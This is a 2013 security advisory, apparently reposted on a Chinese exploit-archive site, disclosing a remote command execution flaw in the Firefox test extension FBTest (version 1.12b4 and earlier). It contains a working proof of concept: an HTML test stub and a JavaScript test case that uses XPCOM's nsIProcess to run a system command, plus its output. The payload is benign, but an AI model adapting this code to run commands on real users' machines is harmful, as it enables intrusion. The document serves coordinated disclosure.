首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Firefox FBTest 1.12b4 Command Execution
来源:http://www.inbox.com/earth 作者:AKAT-1 发布时间:2013-12-05  
General info:
=============
The Firefox extension FBTest (http://getfirebug.com/wiki/index.php/FBTest) version =< 1.12b4 allows RCE on a host running tests.
This was only tested on Linux. If the user running FBTest would point extension to the URL containing malicious test cases (intentionally or by being lurked),
then JavaScript code can freely call Mozilla components using XPCOM framework. Some may say it's a feature and this is how extensions generally work. OK, cool.

Important notice:
=================
1) It should be crystal clear the FBTest is not part of Firebug.
2) It should be clear that FBTest is not distributed with Firebug.
3) It should be clear Firebug users are not affected in any way by any bugs in FBTest.
4) FBTest is just a helper extension primarily used by Firebug Working Group for testing Firebug.

Thanks to Firebug team and especially to Jan (Honza) Odvarko for help in coordinated disclosure of this advisory.

Running PoC:
============
-- cut --
[New Thread 0xe36ffb70 (LWP 22040)]
[New Thread 0xe2efeb70 (LWP 22041)]
[New Thread 0xe26fdb70 (LWP 22042)]
Linux box 3.2.6 #1 SMP Wed Feb 6 01:19:11 GMT 2013 x86_64 GNU/Linux
[Thread 0xed82db70 (LWP 22027) exited]
[Thread 0xe54ffb70 (LWP 22038) exited]
[Thread 0xeb4ffb70 (LWP 22030) exited]
-- cut --

FBTest stub:
============
-- cut
<!DOCTYPE html>
<html>
<head>
    <!-- XXX: point these to https://getfirebug.com/tests/head/firebug.html -->
    <link rel="stylesheet" href="./testConsole.css" type="text/css"/>
    <link rel="stylesheet" href="./testList.css" type="text/css"/>
    <link rel="stylesheet" href="./testResult.css" type="text/css"/>
    <link rel="stylesheet" href="./tabView.css" type="text/css"/>
    <script type="text/javascript" src="./testListUtils.js"></script>
</head>

<body>
<script type="text/javascript">
    var driverBaseURI = getDriverBaseURI();
    var serverURI = driverBaseURI;

    var testList = [
        {group: "foo",  uri: "poc.js",  desc: "bar" },
    ]
</script>
<div id="tests"></div>

</body>
</html>
-- cut

RCE testcase:
=============
-- cut
function runTest() {
    try {
        main();
        FBTest.clearCache();
    }
    catch (err) {
        FBTest.exception("Exception occured: ",  err);
    }
    finally {
        FBTest.testDone();
    }
}

function main()
{
    try { cmd(); FBTest.clearCache(); } catch (e) { ; }
}

function cmd() {
    try {
        var f = Components.classes["@mozilla.org/file/local;1"]
                        .createInstance(Components.interfaces.nsILocalFile);
    } catch (e) { alert(e); }

    f.initWithPath("/bin/uname");
    var p = Components.classes["@mozilla.org/process/util;1"]
                    .createInstance(Components.interfaces.nsIProcess);
    p.init(f);

    const args = ["-a"];
    p.run(true, args, args.length);
}
-- cut

Credits:
========
AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b

____________________________________________________________
FREE 3D EARTH SCREENSAVER - Watch the Earth right on your desktop!
Check it out at http://www.inbox.com/earth




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows NDPROXY Local SYSTEM P
·TP-Link 150M Wireless Lite N R
·Steinberg MyMp3PRO v5.0 DEP By
·D-Link DIR-XXX Remote Root Acc
·Steinberg MyMp3PRO v5.0 SEH Bu
·OpenSSL Denial Of Service
·Steinberg MyMp3PRO v5.0 Buffer
·Kaseya uploadImage Arbitrary F
·Kimai v0.9.2 'db_restore.php'
·Joomla Hotornot2 Shell Upload
·WordPress OptimizePress Theme
·Steinberg MyMp3PRO 5.0 - Buffe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved